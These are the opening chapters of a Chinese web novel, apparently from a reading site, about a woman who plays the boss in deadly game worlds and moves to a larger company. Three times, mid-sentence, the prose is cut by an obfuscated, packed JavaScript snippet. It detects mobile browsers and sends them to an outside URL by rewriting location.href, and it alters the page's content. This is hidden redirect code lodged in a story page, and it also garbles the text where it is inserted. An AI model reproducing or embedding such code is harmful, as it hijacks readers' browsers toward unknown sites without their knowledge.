《无限副本BOSS她消极怠工》 1. 【员工】 “袁学长,现在只剩咱们三个人,那个男的肯定就是副本的BOSS。”姜原小声道。 “只要......只要杀了他,我们就能出去了对吗?” 男生声音沙哑,说话上气不接下气。 姜原和袁一帆一起躲在洗手台半塌的围墙后面。 学校老旧的盥洗室散发着潮湿的霉味,水龙头锈迹斑斑,砖缝里长满被水泡烂的黑色苔藓。 门外转角是教学楼的楼梯走廊,此间传来沉重的脚步声——有人在上楼梯。 楼梯间的白墙上隐约能看到细长的人影向上移动,离他们这层越来越近。 这是一个大逃杀性质的副本,背景在一所废弃的职业学校。 游戏开始的时候,玩家们集体出现在职校的操场上。 有人茫然无措,有人一惊一乍。 袁一帆上一秒还骑在自己的小电驴上,兜里揣着整个宿舍的校园卡,下一秒就发现早八蒙蒙亮的天空换上一副阴沉面孔,他凭空出现在陌生的操场。 风雨欲来,他很淡定,盘膝坐在操场半秃的草皮上,一根一根拔仅剩不多的塑料草。 “请问…你是J大电信学部的学长吗?”身旁传来女孩子轻柔的嗓音。 他扭头,看到一个年轻女孩怯生生站在旁边。 “你是谁?”袁一帆反问。 “啊,不好意思。”姜原低着头,好像有些羞涩:“我叫姜原,也是J大的学生,今年大一。” “我看过学长你们的社团表演,刚才你坐在这,我从远处看就觉得像你。” 袁一帆不是什么都不懂的新人,他对副本中的陌生人保持着警惕。 但姜原知道他在J大就读,还知道他有社团活动,很可能真的在J大校园里有过一面之缘。 “是学妹啊,那还真是巧。”他假装笑嘻嘻地寒暄: “诶,你看过我社团演出,我那天演了什么你还记得吗?” 姜原头埋得更低,语气带着说谎被人揭穿的无措感: “对不起,学长,我只记得是在社团的汇演上。” “其实那天我是为了加德育分才去汇演做观众的,根本没认真看节目,只记得有歌曲串烧,有舞蹈,还有相声小品什么的。” “你们什么时候出场的我不记得了,其实学长你叫什么我也不记得。” “我只记得你的脸,学长,其实那天我…我有个舍友觉得你挺帅的。” 漆黑的锁骨发映衬出她的脸小巧玲珑,少女羞赧一笑,胜过千言万语。 袁一帆心中顿时信了八九分。 他对自己的帅气有自信,见过自己的人有印象是应该的。 自己的名字很大众化,而汇演的时候主持人只在报幕时说过一次,记不住很正常。 硬要说的话能叫出自己的名字才是真的可疑。 何况参加集体活动能加德育分这种愚蠢的规定,若非真的在J大上学,很难编造出来。 两人没来得及再聊几句。操场的广播突然传出刺耳的电流声,声音仿佛抓挠着人们的心口。 众人纷纷捂住自己的耳朵。 广播声断断续续,一个女人冰冷的声音笼罩了这座阴暗的校园,大概介绍了副本的游戏规则,玩家只有找出钥匙或者干掉BOSS,才能逃出生天。 “你相信命运吗?”姜原突然问他。 “什么?”袁一帆没听清。 广播中话音刚落,操场中央爆发出一声惨叫。 一个纤瘦的中年女人横尸当场,鲜血和碎肉洋洋洒洒,洇湿陈旧发暗的地面,褪色的塑胶跑道再度染上鲜红。 人群顿时沸腾,众人四散惊慌逃命。 袁一帆转头,发现自己和姜原失散在人群中,不敢耽搁,也赶忙奔逃。 这场逃命游戏的钥匙是什么未知,BOSS是谁未知,触发死亡的条件未知。 但副本不会设置必死的局,袁一帆就在废弃职校里藏了一天一夜。 直到第二天下午,他在教学楼下遇到了姜原。 姜原瑟缩在墙角的阴影中,似乎在躲什么人。 看到袁一帆,她刚准备起身打招呼,忽然目光一顿,低声惊呼:“不好!” 袁一帆转头看向自己身后。一个微胖的男人举着半人高的铁杆,气势汹汹朝这边奔袭而来。 不等袁一帆反应过来,姜原就牵起他的手。 两人一路逃到四楼,那个微胖的秃顶男人一直紧追不舍。 “还......还能跑吗?”袁一帆的嘴唇似乎在抖。 姜原轻轻摇头,眼神示意他看两人脚下。 袁一帆低头一看,发现地面有塌陷,两人刚才跑进来太着急,姜原左脚卡在了缝隙下面,肯定动不了了。 他顿时为难起来。虽说在进副本之前他不认识姜原,可终归是一个大学的,姜原算自己的学妹,还看过自己社团的表演。 他自问自己是有担当的靠谱成年男性,这种时候怎么能抛下学妹不管。 可是姜原被卡住了,他也有些跑不动了...... “学长,我有一个办法。”姜原恰到好处地献策: “我不能动,等下我出声把那个男的吸引过来;你藏到盥洗室的门背后,等他走进来从背后给他致命一击。” “!”袁一帆觉得自己真是在这个差劲的职业学校里呆久了,脑子都生锈了,这么简单的主意都想不到。 他心里依然发虚,但自己刚才的犹豫似乎被学妹看穿了,他有点不好意思。 既想当好人又想高枕无忧,这样两全其美的事情从他第一次出入这种游戏副本开始就不存在了。 袁一帆决定放手一搏。 冷风吹在脸上,头脑有些发热。 似乎是急于证明自己,他默认了姜原的安排,从洗手池边上捡了一块锋利的镜子碎片,站到门背后的阴影里。 “救命,救命,你不要过来啊——!”姜原开始喊叫。 楼梯间的脚步声短暂地停顿了一下,然后急促起来。 “咚咚咚咚——”那个胖男人迅速朝盥洗室跑来。 他沉重的脚步声像惊雷,伴随着铁链在地上拖行的声音,每一步都击打在袁一帆的神经上。 转眼,胖男人出现在盥洗室门口。 他很高大,穿着咖啡色的老式皮夹克,略微有些斑秃,像极了刻板印象中的教导主任。 看到姜原,胖男人先是怪叫了一声,像是看到了什么不得了的东西。 “呀啊啊——” 胖男人一边吼叫着,一边举起手中挂着锁链的铁栏杆,要给姜原当头一棒。 电光火石之间,袁一帆从门背后闪出,一记闷砖敲在男人后脑勺上。 胖男人应声倒地。 袁一帆的身手不错。热爱体育锻炼的男大学生,在普通人中绝对算上等水平。 “我服了。”他踢了一脚昏迷的男人:“跟个人机似的,触发仇恨还要吼叫一声。” “学长,快补刀,要捅这里。” 姜原似乎很着急,朝袁一帆比划脖子动脉的位置。 “哦哦。”袁一帆没多想,把镜子碎片尖锐的一端对着男人动脉的位置狠狠刺进去,鲜血顿时喷了他满头满身。 他嘴里的话像车轱辘一样没停过:“第一次割喉杀了BOSS,溅了一身血,真是吓人。” “话说这BOSS比我想的菜啊......” 姜原很淡定,拨开地上的碎石块,慢慢把脚抽出来。 袁一帆看她反应如此平淡,自己尴尬地笑了两声:“学妹,你好冷静。” “你进过几次副本啊,杀BOSS这么有经验。” “还行,”姜原站起来,拍拍裙子上的灰尘:“我恰好比较擅长这些。” “哦哦。”袁一帆总觉得哪里怪怪的。 他看着姜原,忽然倒吸一口凉气,猛地往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166814|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退步,却不小心被碎石块绊倒,跌坐在地,吓得只差没哭出来: “你你你......你怎么自己站起来了!” 姜原的左脚刚才牢牢卡在缝隙里,她抽不出来,就直接折断了左脚。 此刻她单腿站立,断裂的左腿骨骼飞速生长,肌肉组织填补着骨骼中的缝隙,血痕逐渐愈合,转眼皮肤上只剩一道浅白的痕迹。 这不是普通人类能有的自愈能力。 “你不是人,你根本不是什么学妹,你才是这个副本的BOSS!”袁一帆渐渐回过味来。 刚才那个胖男人又吼又叫,分明是看到姜原心生恐惧,准备对姜原动手所以给自己壮壮胆。 而先前逃跑过程中,那男人被自己和姜原两人甩下一段距离。 作为大逃杀游戏的BOSS,别的不说,至少体力应该是很优秀的,从楼底追到四楼不至于如此费力。 袁一帆越想越觉得全是破绽,甚至还感觉自己刚才看到那个男人举着铁棍时腿在发抖。 他已经无法分辨这究竟是自己看到的,还是大脑在进行自我说服时臆想出来的。 自己杀的不是BOSS,而是一个和自己一样、莫名其妙被卷入恐怖游戏的参与者。 忽然间他像是想到了什么,脸上的血色瞬间消退,嘴唇颤抖,声音里充满恐惧: “你是......【员工】?” 潮湿的风从破碎的玻璃窗吹进来,姜原洁白的长裙摇曳,冰冷的气质和刚才判若两人。 她往前一步,袁一帆立刻手脚并用后退一步。 姜原不再往前走,饶有兴致地看他:“你知道的还挺多。” 她转身,对着空气做了一个转动把手的动作。 瞬间,空无一物的地面上出现一扇铁栅栏门。 门的材质和刚才胖男人用来防身的铁栏杆类似,银色的金属漆已经斑驳,露出不平整的表面和黑红色的铁锈,就像这所学校本该有的大门一样。 门半开着,里面的空气不自然地扭曲旋转,像是门框蒙着一层涌动的水膜。 这是离开副本的门。 姜原站在门边,对着袁一帆道:“你可以走了。” “什么?”袁一帆很害怕,怀疑是临死前自己的大脑触发了防御机制,产生幻觉好让自己走得安详:“你不杀我?” “我没有技能了。”姜原解释:“这个副本我只有一个强制死亡技能,一开始在操场上就用完了。” “卧槽,所以你假扮学妹来骗我,好让我替你杀那个男的?” 袁一帆懵了:“你们【员工】不能窥探我的真实身份吧,你怎么知道我在J大上学?” 姜原从口袋里摸出来一张卡片,扔到他面前。 袁一帆捡起来一看,是自己的校园卡。他以为是逃跑途中丢了,没想到被姜原拿走了。 “那你怎么看过我表演相声?” “我只说社团表演,相声是你自己说出来的。” “你只有一个杀人技能,这么说除了最开始那个在操场上暴毙的大姐,剩下的人都是你用坑蒙拐骗的方式弄死的?” “差不多吧。” “那你能这么好心放我走?!”袁一帆语气越发激愤:“你可以把我关在厕所里饿死,继续骗我逃命把我累死,半夜演阿飘把我吓死......” 他喋喋不休地念叨着,吵得姜原有点头疼。 这个男大学生明明很胆小,但一开始话痨就变得勇敢又专注,有种不知死活的美感。 姜原抬起手腕看了看表。 副本内外时间的流速不一样,但这块表不受影响,能显示副本之外的时间。 现在副本里刚下午三点,姜原的手表却指向下午五点五十七分。 “我也很想杀了你,可是时间来不及。”她用最认真的语气,说着最敷衍的话: “你看,还有三分钟到点。” “我要下班了。” 2. 新工作 姜原到饭店的时候,薛平已经在包间里坐一会了。 薛平是姜原的顶头上司,下班经常见客户,还总是拉着部门里的年轻小姑娘作陪。 今天薛平似乎要见一位【广播】新贵,姜原就是下班之后被临时叫来的。 所谓【广播】,是指用各种手段在现实生活里设置副本锚点,触发锚点的人就会被拉入副本成为玩家,是他们这一行“获客拉新”的手段。 好的【广播】机制意味着更大的客流、更多的收益,是这些副本运营企业营收的根基。最经典的【广播】就是交通事故,把特定的车做成锚点,不幸被车撞到的人在受伤后精神剧烈不稳定的情况下很容易进入到副本里。 近几年比较时髦的方式还有扫码进入副本,像诈骗一样防不胜防。 今天这位广播新贵赵总,据说在设置声音锚点方面很在行。 赵总还没有到,姜原拿起桌子上的文件袋,看里面关于他的资料。 这个人提出了一种基于神经震荡锁相的人脑广播机制。 声音的传播范围远比车祸之类的方式广泛。通过这种机制,把副本锚点植入在特定的音频里,可以使更多人触发副本。 光看资料上的描述绝对是物超所值的好项目,难怪此人能迅速跻身广播圈名流。 但是姜原看到了这份资料,而她恰好对神经科学很了解。 赵总的数据都是在实验室环境中测试出来的,对于别人来说这样的结果是技术的突破性进展。 但是对于姜原来说,赵总的方法应用到干扰因素众多的实际场景中转化率过低,效果难入她眼。 姜原想起刚才薛平给自己打电话,叫自己到饭店来。电话里薛平的声音忽远忽近,背景里还能听到晚高峰人群嘈杂的声音: “小原啊,我刚看了上个月的业绩汇报,你收获颇丰啊。” “今晚见的这个赵总也是难得的才俊,拿下他的合作,我们今年、甚至今后好几年都不会缺业绩了。” “这以后都是你的人脉。” “人在江湖走,少不了人情往来;交际应酬,都是难免的。” “小姑娘家家的,情商高一点,多发挥你身为女性的长处嘛。” 潜规则是一堵墙,每个新人都得扶着墙根走在墙的阴影里,才不至于撞得头破血流。 其实薛平本质上不是一个坏领导,他说的话似乎都没错,至少在当下的环境里很适用。 放下手中的资料,姜原看着薛平,没有说话。薛平只觉得她的目光一下变得很冷,不是刻意的凶狠,而是一种漫不经心的凉薄,和不易察觉的…嫌恶。 “平哥,我要辞职。”姜原从包里掏出早就准备好的辞职报告:“咱们好聚好散。” 她把辞职报告放在桌子上,拿上自己的外套,起身离开。 薛平似乎被她突然的举动惊呆了,挺着啤酒肚,身体一下坐直:“你...” “你这是干什么,要反了吗?!” 姜原没有回头,一直走到包间门口,想了想,还是开口: “平哥,我看了这个人的广播机制,我不建议你现在跟他合作。” “我有一套比他更好的声音锚点方案,上个月我试了一下,副本客流量显著提升,效果比他在实验室环境还要好。” “接下来我会把这项技术卖给某个副本大厂,凭借规模效应,大厂推出的集成服务成本会更低,很快整个行业的广播机制都会迎来革新。” “现在跟他合作,投入会打水漂。” 薛平早年入行,享受到行业快速扩张的红利,自身也有一定能力,一路走到如今的位置。 人类的进步依托于对历史经验的总结,薛平总结了自认为促使他成功的诀窍,时常以此在喝酒吹牛的时候教育部门里的小年轻。 可以说,薛平愿意跟她讲这些话,就是他对职场新人的一种照顾。 可是姜原不想听。 妥协是一种比上不足比下有余的方式,但世上一定还有别的活法。 “等等!” 薛平从包厢里追出来。 “你这姑娘,话都不听人说完。” “我不知道你的【广播】是怎么回事,但如果你上个月比以往更突出的业绩就是因为新技术,那不妨等会见完赵总,咱们再仔细聊聊。” 姜原说:“我没有时间了。” “你有急事?”薛平想起上个月姜原极度突出的业绩,对上她平静的目光,直接开口:“那不见赵总了,咱俩现在找地方细说。” “我的意思是,我没有时间可以花在公司这些劣质的副本上,也不可能自己创业做【广播】。”姜原解释道: “贵司的副本质量想必你也清楚,就拿我今天下午刚开了一局的‘锈铁职业技术学校’这个副本举例,十人以上的副本,BOSS却只有一个一次性的强制杀人技能。” “剩下的辅助技能也很粗制滥造,譬如【方位指南】只能指示一名玩家所在的大概区域,不能精准定位,也不能知道玩家是谁,甚至这样的技能冷却时间还长达6个小时。” “还记得当初你招我进来的时候,问我人类时期的记忆还剩多少,我说基本不剩什么了。” “什么?”薛平有点懵。 姜原没有理会他,继续说:“我只记得一件事,这件事似乎很重要。” “我要找人。” “虽然不记得要找谁,但是贵司的副本质量偏低,在这里工作效率太低,我找到人的概率很小。” 薛平当时就是随口一问,早不记得姜原说了什么,他只能顺着姜原的话反问:“你什么都不记得了,就算真在副本里遇到了,你又怎么知道这个人就是你要找的人?” 姜原把风衣披在肩上,迎着门厅辉煌灿烂的灯光,没有回头: “虽然不知道我能用什么办法,但我知道我一定会认出来。” 虽然很想多摆烂一会,但姜原心里有一股驱之不散的不安,这种感觉强烈催促她尽快回到副本里。 她开始着手找工作。 副本大厂都有自己专属的招聘网站,姜原通过自己的【员工】终端就可以访问。 根据入行时的综合素质评定和从业之后的表现,【员工】从最低的七级到最高的特级共分为八个等级,该评级是行业通用的标准。 姜原刚成为【员工】时,评级系统认为她基础条件差,将她评为最低的七级,导致她求职时受到不少歧视,最后好不容易在前司——一家小作坊级别的公司找到了工作。 她人类时期的记忆缺失很严重。 成为【员工】给她带来如此严重的后遗症,似乎她的综合素质真的很糟糕。 然而她保留的记忆来看,她以前掌握着大量生命科学领域的知识;并且她反应速度很快,体能也很优秀。 她成为【员工】以来没有接受过改造,说明她在人类时期就已经具备这些优秀的素质。 她不认为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166815|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己很差劲,至少不应该刻板地用评级系统定义她的能力。 她在一家顶级的大厂网站上注册完个人简历信息,就看到自己终端的信箱上冒出一个小红点。 点进去一看,是大厂发来一份在线测评。 “第一题:逻辑推理。” “一个副本中存在三条规则:” “1.撒谎者必死;” “2.说真话者必死;” “3.保持沉默者将被处决。” “请问:玩家如何活下来?” 姜原眉头微蹙。这是一个典型的逻辑悖论,如果题目中的规则构成一个集合,那这三条规则的补集为空,玩家不管选什么都是死路一条。 “如果说一些不真不假的话来卡规则Bug呢?比如‘我说的是真话’,在无法确定这句话真假的情况下,也许玩家会处于一种半生半死的状态,就像薛定谔的猫。” 但这个题的初衷是让答题者卡Bug吗? 忽然,大脑中灵光一现,她好像明白出题人的思路了。 她在答题框中写下四个字:“不活下来。” 副本一定可解,质疑“不能死”这条规则本身,就能让副本逻辑崩溃。 “第二题:人格与价值观。” “你正在管理一个死亡率92%的副本,突然有一名玩家靠‘运气’通关。你的第一反应是:” “A.修改副本机制,堵住这个漏洞。” “B.默默记下玩家特征,下个副本定向投放。” “C.承认运气也是规则的一部分。” “D.立刻使用【道具】,干预副本规则。” C选项过于循规蹈矩,缺少创新精神。 D选项是绝对不能选的。于个人而言,能在副本中使用的【道具】极为稀有,用在工作场合就是一种浪费;于副本支配者这份工作而言,使用【道具】干预副本规则是绝对的违规操作,可能受到严厉的处罚。 姜原的目光停留在A和B之间。可以说,A是一个很全面的答案,既遵守了副本规则,又能体现员工对于工作的自主性。 但是她会选B。如果这个人只是运气好,那么在下一个副本里,他会死得悄无声息。 但如果那份“运气”背后藏着尚未被定义的能力、直觉,或者某种连他自己都未曾意识到的异常—— 姜原会追到天涯海角。 又做了几道奇奇怪怪的题,终端屏幕上显示题目的字体忽然变了,这道题似乎很重要。 “最后一题:” “如果有一天,你自己被投入你设计的副本中,你希望:” “A.有一条隐藏生路。” “B.死得符合逻辑。” “C.成为规则的一部分。” “D.副本随你一起崩塌。” 成为副本支配者以来,姜原思考过自己以前究竟是什么人。 她应该有着良好的受教育水平。 那天在副本里遇到袁一帆,看到他校园卡上的信息,莫名觉得很熟悉。莫非她曾经在J大就读? 虽然不记得真实年龄,但看身体就知道她成为副本支配者的时候很年轻,也许她是一名研究生? 她不喜欢工作,所以也有可能是个整天上班盼下班的社畜,说不定在制药公司工作,或者利用自己的专业知识从事灰色产业牟取暴利。 她这样的人,如果是副本玩家,在生死一线的时刻,可能会做出什么事? 3. 噩梦厂 B选项,死得其所。这绝对不可能,姜原不是甘心尘归尘土归土、默默无闻独自死去的类型。 C选项,永远留在副本里苟且偷生。她不会这样选,除非有机会找到逃脱副本的办法。 A和D似乎都不错。 A选项,置之死地而后生。 D选项,直接把锅砸了,大家都别好过。 她在终端上选择了A,心里却更倾向于D。 “也许我以前真不是什么好人。”姜原心想。 鉴于她入行以来积攒的业绩,她的支配者等级已经从最低的七级上升到了四级。这惊人的升级速度无疑说明她巨大的潜力。 多家副本大厂对她发起面试邀约。经过几轮面试后,她和业内一家口碑规模都很顶级的大厂确定了意向。 这家大厂业内绰号为“噩梦厂”。这个绰号最开始是因为它的主营副本风格都很像噩梦,主打轻微恐怖的故事设定和光怪陆离的副本景象。 后来这个绰号变成了一种戏称,因为一位公司高管在年会上对媒体宣称:“我司将会成为所有友商的噩梦。” “噩梦”就此从正常的外号变成行业内的热梗。 姜原在面试中说自己的【广播】技术方案准备出售,噩梦厂立刻有技术部门的人和她接洽。经过研究测试后,对方果断开出高价买断,更是邀请她入职【广播】技术部继续完善这项机制。 姜原婉拒了技术部门的岗位,坚持要做副本支配者。技术部的经理很惋惜。 “你是天才!是万中无一的人才,冉冉升起的新星!” 经理的大脸挤占了终端的整张屏幕,好像恨不得直接从屏幕里钻出来把姜原抓去研究技术: “人类艺术界可以没有毕加索,但是副本广播界不能没有你这样的青年才俊啊!” 不知道是搞技术的人都对技术有近乎痴狂的崇拜,还是噩梦厂的画风就是如此中二。 姜原只能安慰他说至少有了这项技术,噩梦厂很快就能真的成为行业噩梦了。 “试用期至少独立运营一个副本,至多不超过五个,达标后安排你转正,没问题吧姜小姐?” 最后一轮面试,人力部门和她商议薪资待遇和转正事宜。 “试用期的副本我要拿和正职一样的薪资。” “只要你能达到正职运营该副本的标准,没问题。” “可以。”姜原爽快在合同上签字。 负责招聘的人接过合同,检查无误后,郑重地在上面盖章。 印章脱离纸面的瞬间,合同燃起诡异的青紫色火焰,转眼化为飞灰消失不见。 姜原之前找工作签约时没见过这一步,就开口问:“请问刚才合同为什么烧掉了?” “这是把你的应聘信息上报管理局啊。”人力小姐姐回答。 “那如果合同没有在管理局备案呢?” “那就相当于你没有交社保啊。” 姜原泪目了。 她真是稀里糊涂就成了副本支配者,要不是这次经历了大厂正规的招聘流程,前司没给她交社保,她还不知道要被蒙在鼓里多久。 无良小公司欠她太多。 “刚好下午我们有个三级员工要进副本,方便的话你和他一起吧,可以算在你试用期的成绩里。” “行。”姜原答应。初入一家新公司,有老员工带她熟悉一下能适应得更快。 下午,姜原按照指示来到二号副本工作室。 大厂的硬件设施十分完善。 之前姜原在的小公司只有几台低配置的副本脑机,还是市场上淘汰下来的旧型号。不过小公司的副本客流量也不大,设备虽少但也基本够用。 而噩梦厂光是眼前这个二号副本工作室就占据了整整一层楼。 整个工作室为两层构造,上层整齐摆放着现阶段顶配的副本脑机。 副本脑机的外形很像科幻电影中星际航行用到的休眠舱,里面是特殊的溶液,一眼望去洁白的脑机舱星罗棋布,井然有序。 透明的玻璃层下面是员工通道,穿着脑机作战服的人穿梭其中。 “姜原,请跟随绿色指示灯,前往7排3号机。”上方的喇叭里传来冰冷的机械女音。 感应到姜原的终端后,工作室的玻璃门向两侧缓缓打开,洁白的地板上亮起绿色的方向指示灯。 顺着通道前进,七排三号机对应的准备室已为她解锁大门。 这里是脑机下方的空仓,被装修成了一个小淋浴间外加更衣室。 一舱一间,隐私性强,极大地方便了员工的使用。 姜原换上脑机专用作战服。 衣服是连体的,面料是一种昂贵的合成纤维,上面铺设极细的合金导线,泛着细微的银色光辉。 轻拉手腕内侧的环扣,衣服立刻收缩调整,完美包裹住躯体。 换好衣服后,圆形的升降台托举她到上方玻璃层的七排三号机前方。 她躺进脑机舱,看着脑机外壳缓缓闭合,半透明的绿色溶液渐渐把她淹没。 她闭上眼睛。 再睁开眼,姜原已经置身于一片纯白的空间中。 不远处站着一男一女。 男的看起来不到四十岁,身形清瘦,肩颈有些前倾,眼皮不精神地耷拉着,眼下挂着浓重的黑眼圈,十分符合社畜的气质。 另一个女生十分年轻,扎着两条短短的蝎子辫,脖子上戴着一条流光溢彩的宝石项链。 两人都穿着和姜原类似的脑机专用作战服。 姜原的目光停留在女生的项链上。 这里是进入副本的前置空间,除了特制的作战服,外面的物品是带不进来的,除非—— 那条项链是不可多得的【道具】。 “你好,我是张川,三级【员工】,这次副本的领队。” 男人率先开口,和姜原握了握手,又介绍旁边的年轻女孩: “这是叶安娜,是我负责的实习生。这次副本由我们三个担任支配者。” “你好,我是姜原。”对于未来的同事,姜原释放出友善的信号。 她伸出手,微笑着看向叶安娜。 叶安娜没有应答,只懒洋洋地抬起眼皮看了姜原一眼,仿佛不屑与她搭话。 姜原的手举在半空中,气氛一下降到冰点。 “嗯嗯。”张川清了清嗓子,无奈地看了叶安娜一眼。 叶安娜这才不情不愿地用指尖捏住姜原的手摇了摇,就算握过手了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166816|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜原的笑意渐渐冷下来。 张川赶紧把话题岔开:“你们应该都看过副本详情和具体安排了,我就简单说一下。” “这是我们噩梦厂独立研发的副本,名字叫‘四季城堡’。” “副本背景大致是温莎公爵夫人罹患一种怪病;作为帝国最有权势的人之一,温莎公爵遍请名医来到四季城堡为夫人诊治。” “六名玩家将以医生的身份进入副本;我们这次则会激活三个BOSS身份:‘温莎公爵’、‘公爵夫人’,以及‘四季城堡的女仆长’。” “我来负责‘温莎公爵’,安娜负责‘公爵夫人’,小姜就负责‘女仆长’。” “副本即将开始,没有问题的话我们就开工吧。” 张川对着前置空间泛着洁白光芒的侧壁做了一个开门的动作,光滑平整的墙面上凭空出现一扇开启的门,门的中间是一片扭曲的黑暗。 “安娜先走。”张川道。 叶安娜点头,身形淹没在门的黑暗中。 姜原紧随其后,正准备踏进门中,忽然被张川拦住。 “小姜,我和你说点儿事。”张川小声说,眼睛瞥向墙上的门。 姜原看他特意支开叶安娜,此时又神情鬼祟,心中涌起一股不祥的预感。 张川看了看墙上的门,确定叶安娜已经到副本里去了才开口: “你知道叶安娜是谁吗?” 姜原摇头。但其实她心里隐约有了答案。 张川抬手指了指上方:“叶安娜是管理局某位实权领导的女儿,送到咱们这美其名曰‘实习’,其实就是随便给女儿找点事做。” 他直截了当道:“可以说,这次副本都是为了她才临时开设的。” 难怪,6个玩家的小副本,搭配了3个由【员工】支配的BOSS,这是要屠城的节奏。 “安娜她没有当副本支配者的经验,虽然这次她负责的‘公爵夫人’才是副本终极BOSS,但我们不能让她使用BOSS的技能。” “BOSS‘公爵夫人’的技能也由你来支配,咱俩高高兴兴把玩家干掉,平平安安把祖宗送走。” 张川拍了拍她的肩膀:“记住,活你来干,锅我来背,论功行赏她去领。” 姜原不置可否,只深深看了张川一眼。 这个男人对于这种事显然习以为常,照顾关系户宁可牺牲一些自己的利益,不求有功,但求无过。 “这话你应该跟叶安娜交代一下。”言罢,姜原径直走进门里。 穿过一片黑暗,离开门,她站在一条哥特式古堡长廊的尽头。 地上铺着青黑色的石砖,头顶是繁复的尖肋拱顶。暮钟声响,夕阳的辉光穿透镶嵌着彩色玻璃的长窗,光影在地上斑驳。 副本会根据身份更改支配者的衣着样貌,姜原身上的脑机作战服变成了女佣的装束。 她提起灯,穿过昏暗的走廊、长梯,直到城堡大门出现在眼前。 推开城堡的大门,秋意盎然,迎着猩红耀眼的夕阳,枫林也仿佛染上一层血色。 玩家们三三两两站在门前,见到大门打开,人群瞬间停止了喧闹。 “各位客人,欢迎来到温莎公爵的四季城堡。”姜原优雅行礼。 4. 四季城堡1 姜原指引玩家们来到城堡大厅中央。她自己则走上楼梯,刚好能够清晰看到每个玩家。 大厅两侧盘旋的石梯蜿蜒而上,中央墙壁上悬挂着一座巨大的吊钟。 吊钟的外壳是黄铜材质,刻满古朴典雅的花纹。 指针被雕刻成尖利的骑士剑形状, 钟面由四种不同颜色的贝母填铺而成,没有刻度,四种颜色按正十字形将表面分成四个时区,波光粼粼,像鱼的鳞片。 此时时针正指在代表傍晚的四分之三时区内。 “我是四季城堡的女仆长,现在由我为各位客人介绍接下来的行程。” 天色渐晚,姜原手中提着的油灯是唯一的光源。 她的影子投射在台阶上,随着灯影晃动。 “尊贵的公爵夫人身患重病,公爵大人心急如焚,因此邀请各位齐聚于此,共同医治公爵夫人。” “只有找到治疗公爵夫人的方法后,各位才能离开。”姜原阐述规则: “各位只能在春暖花开的时候探望夫人,其余时间不可打扰夫人。” “现在是秋天啊”,有人提出质疑:“难道我们要在这等到明年春天吗?” 作为副本BOSS,一个有经验的专业员工,姜原只需要按照规定解释副本规则,没有直接回答玩家问题的义务。 她指向身后的巨大吊钟:“城堡内的时间请以这座钟为准。” “接下来各位请到楼上房间暂歇,等下一次钟响时会有佣人接引各位前往餐厅用餐。” 言尽于此,她微笑着行了一个标准的鞠躬礼。 “女仆长”这个BOSS被设定为一位瘦削的中年女性,有一张瘦长的马脸,双目狭长。 此时姜原顶着“女仆长”这张脸,笑起来时涂得嫣红的嘴唇以诡异的弧度弯曲,严肃的面孔显出几分阴森可怖。 “在此提醒各位贵宾几件事项。” “第一,为了保证充足的体力为夫人诊治,请按时用餐。如果各位错过了正餐,我会在夜晚为各位准备宵夜。” “第二,如果各位不幸也感染上了病症,温莎公爵对各位的辛勤付出深怀感激,请留在城堡内治疗。” “最后,”姜原面向身后这座吊钟:“请各位注意出门的季节,不要在冬天离开城堡,否则......” 她话音未落,大厅中一个男生从人群中走出,盯着她面色不善。 “喂,这是怎么回事啊。” 男生个子不高,烫着一头锡纸卷,大声嚷嚷道: “真人秀还是沉浸式剧本杀?” “你们是怎么把我拐到这的,我告诉你们,我家里可不是好惹的,你们最好......” 锡纸烫伸手扒拉身边的人。 那人立刻退开,其余人也闪躲他的目光,显然是不想搭理他。 在这种随时可能送命的反自然游戏副本里,很少有人还能人性光辉泛滥、愿意多费口舌去教育一个什么都不懂的新人。 “和密室逃脱差不多哦。” 他话音未落,一个短头发的女生打断了他:“我叫李雨乔,很高兴认识你。” “张嘉豪。”锡纸烫说。 “我们现在应该找找有没有隐藏的线索。” 李雨乔没有过多给张嘉豪这个新人解释副本的事,主动站出来主持局面: “那个女佣刚才一直提到时间和钟。小哥哥,能麻烦你去看看吊钟里有没有隐藏线索呢?” “你自己有手有脚的,干嘛使唤我?”张嘉豪不吃这套。 “那我替大家去看看。” 李雨乔走上楼梯,来到姜原面前。 姜原微微侧身,把吊钟前的位置让给她。 她蹲下来摸了摸地板,很平整;又站起身检查吊钟本身,吊钟像是镶嵌在墙壁上,不留一丝缝隙,只露出三个表面,没有可以藏东西的地方。 “我怀疑线索可能藏在钟里面。”她对着楼梯下面说:“我力气太小了,能不能帮我把钟撬开?” 刚才还冷眼旁观的人群中立刻传出反对的声音:“小姑娘,刚才那个女佣都说了要用这座钟看时间,你要是把钟搞坏了我们都得完蛋!” 